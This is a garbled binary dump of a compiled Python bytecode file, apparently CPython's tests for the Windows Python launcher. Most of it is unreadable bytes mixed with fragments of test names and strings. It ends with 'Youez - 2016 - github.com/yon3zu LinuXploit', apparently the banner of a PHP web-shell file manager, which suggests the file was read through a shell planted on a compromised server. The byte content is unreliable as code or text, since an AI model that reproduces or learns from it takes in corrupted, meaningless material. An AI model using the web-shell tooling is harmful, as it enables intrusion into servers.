*�r�c���UR5RnUR[5 UR	SU35nURU/SUR5RS[R"S530S9nSSS5 SSS5 URS[W53WSR55 g!,(df   NF=f!,(df   NO=f)Nr�r{r|r4r�r�)r�r�r�rbr�r�r�r�r�r�r"rc)r_r�r�r7s    r!�test_recursive_search_path�'TestLauncher.test_recursive_search_path�s������ �%�%��
�[�[�)�
*����/��v�6�7�6��{�{��H��D�O�O�$5�$<�$<�#=�Q�r�y�y��?P�>Q�!R�S�#���8�+�	
���8�E�&�M�?�3�T�(�^�5I�5I�5K�L�
8�7��+�
*�s$�C�AC
�
C�

C	�C�
C)c�H�URS/SS0SS9nUSR5n[R"SS/[R[R
S	9 UR
SU5 UR
SU5 g![a UR
S
U5 N1f=f)Nz-V:3.10�PYLAUNCHER_ALWAYS_INSTALLr��or@r�z
winget.exer|)r�r�zms-windows-store://�9PJPW5LDXLZ5)r�rcr��
check_callr��STDOUTr�rf)r_r7�cmds   r!�test_install�TestLauncher.test_install�s����{�{�I�;�-H�#�,N�be�{�f���8�n�"�"�$��	-��!�!�<��"=�j�o�o�^h�^o�^o�p�
�M�M�,��,��
�
�n�c�*��!�	6��M�M�/��5�	6�s�4B�B!� B!c���URS5nURU/5nSSS5 URS[W53WSR	55 g!,(df   N>=f)Nz#! C:/some_random_app -withargzC:\some_random_app -witharg r�)r�r�r�r"rcr�s   r!�test_literal_shebang_absolute�*TestLauncher.test_literal_shebang_absolute�s[��
�[�[�9�
:�f��;�;��x�(�D�;����+�E�&�M�?�;���N� � �"�	
�;�
:�s�A�
A+c� �URS5nURU/5nSSS5 UR[WRRS-5S[U53WSR55 g!,(df   N`=f)Nz#! ..\some_random_app -witharg�some_random_app�
 -witharg r��r�r�r�r"r�rcr�s   r!�test_literal_shebang_relative�*TestLauncher.test_literal_shebang_relative�sv��
�[�[�:�
;�v��;�;��x�(�D�<�����V�]�]�)�)�,=�=�>�?�z�%�PV�-��Y���N� � �"�	
�<�
;�s�A?�?
B
c��URS5nURU/5nSSS5 UR[WRS-5S[U53WSR55 URS5nURU/5nSSS5 UR[URS-5S[U53USR55 g!,(df   N�=f!,(df   Ng=f)Nz#! "some random app" -withargzsome random appr�r�z#! some" random "app -withargr�r�s   r!�test_literal_shebang_quoted�(TestLauncher.test_literal_shebang_quoted�s���
�[�[�8�
9�V��;�;��x�(�D�:�����V�]�]�%6�6�7�8�
�5��=�/�R���N� � �"�	
�
�[�[�8�
9�V��;�;��x�(�D�:�����V�]�]�%6�6�7�8�
�5��=�/�R���N� � �"�	
�:�
9��:�
9�s�C(�C9�(
C6�9
Dc��URS5nURU/5nSSS5 UR[WRS-5S[U53WSR55 g!,(df   NV=f)Nz#! some\" random "app -withargzsome/ random appr�r�r�r�s   r!�"test_literal_shebang_quoted_escape�/TestLauncher.test_literal_shebang_quoted_escape�so��
�[�[�:�
;�v��;�;��x�(�D�<�����V�]�]�%7�7�8�9��E�&�M�?�S���N� � �"�	
�<�
;�s�A5�5
Bc�:�UR[5 URS5nURU/5nSSS5 SSS5 UR	S[W53WSR
55 g!,(df   NF=f!,(df   NO=f)Nz#! test-command arg1zTEST_EXE.exe arg1 r�)r��TEST_PY_COMMANDSr�r�r�r"rcr�s   r!�test_literal_shebang_command�)TestLauncher.test_literal_shebang_command�sx��
�[�[�)�
*����3�4���{�{�F�8�,��5�+�	
��� ��v���0���N� � �"�	
�5�4��+�
*�s!�B�A;�B�;
B		�B�
Bc��URS5nURU/5nSSS5 WRS-nUR[	U5S[	U53WSR55 g!,(df   NX=f)Nz#! /usr/bin/not-python arg1z/usr/bin/not-python� arg1 r�)r�r�r�r�r"rc)r_r�r7rs    r!�%test_literal_shebang_invalid_template�2TestLauncher.test_literal_shebang_invalid_template�sr��
�[�[�6�
7�6��;�;��x�(�D�8����!6�6������V�}�o�V�E�&�M�?�3���N� � �"�	
�8�
7�s�A7�7
Bc	���SnURSUS35nURU/SS9nSSS5 UR5upE[[U5R5R5nUR
5 URUR5 URS[RS3US'URSUS35nURU/US9nSSS5 URWS	R5[U5S
[W535 URSURS35nURU/US9nSSS5 URUS	R5[U5S
[U535 SSS5 g!,(df   GN�=f!,(df   N�=f!,(df   Nt=f!,(df   g=f)Nzpython-that-is-not-on-pathr�z arg1r;r<r|r{r4r�r�)r�r�r�rr(r�r�r�rlr�r�r�r�rcr"r�)r_r�r�r7r�r�r�s       r!�test_shebang_command_in_venv�)TestLauncher.test_shebang_command_in_venvs���+���[�[�+�D�6��7�
8�F��;�;��x�3�;�?�D�9��^�^�
��(��t�H�~�*�*�+�4�4�6�C��I�I�K��O�O�C�J�J�'� �Z�Z�L��"�*�*�V�*<�)=�>�C��K����/��v�U�;�<���{�{�F�8��{�5��=����T�(�^�1�1�3��h��7H��u�U[�}�o�5^�_����/����z��?�@�F��{�{�F�8��{�5��A����T�(�^�1�1�3��c�
�|�6�%�PV�-��5Y�Z��
�9�
8��=�<��A�@���
�sJ�F&�BG�F8�(A!G�	G	�AG�&
F5�8
G	�G�	
G	�G�
G(c�B�URS5nURU/SS9nSSS5 SnWSR5Vs/sH+nURS5(dMUR	5PM- nnURU/U5 g!,(df   Nm=fs snf)Nz#! /usr/bin/env python3.99r;r<z # Search PATH for python3.99.exer�z
# Search PATH)r�r�r�r�rcr�)r_r�r7rrr#s      r!�!test_shebang_executable_extension�.TestLauncher.test_shebang_executable_extensions���
�[�[�5�
6�&��;�;��x�3�;�?�D�7�3��+/��>�+D�+D�+F�7�+F�4��_�_�_�5��$�*�*�,�+F��7����&��6�*�7�
6��7s�B�B�!B�
BrvN)6rqrrrsrtr�r�r�r�rrr$r*r1r5r8r=rArIrVrZrdrhrmrrrurxr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rurvr#r!r�r�,s&���	M��	M��1��1�
I�
:�
C��2 �D3�3�9�"3�
�K�	J�K�A�D�\�A�D�\�R�;�<�.	H�^�^�1�1�1�1�1�Y�^�V�A�1�1�	M�+�
�
�

�
�
�
�[�2+r#r�)(r�r:r�rr�r�r�r�r�r��pathlibr�testr�platformr�r(r�r�r��casefoldrU�prefixr�r'rqr�r*�lowerrbr�r"r8rArIrVrXrx�TestCaser�)r3r4s00r!�<module>r�s�����	�	�
��
�������<�<�7��
�
�
�:�
;�;��
�����>�>����%�%�h�&7�&7�&9�:�:�
�F��K�+�/�(��j�j�"+��
�,��j�j�".��
�/��j�j�"1�'=��
�?��c�j�j��
�3�B2�/��j�j�"%�.�.��
�	�C+
�	�\�%�)�,����9�9���)4�):�):�)<�=�)<����1�2������q����)<�=�����9�9������'�
*�"�$��3�3�(@ �@ �Fw+�8�$�$�j�w+��q>s�0$F*

Youez - 2016 - github.com/yon3zu
LinuXploit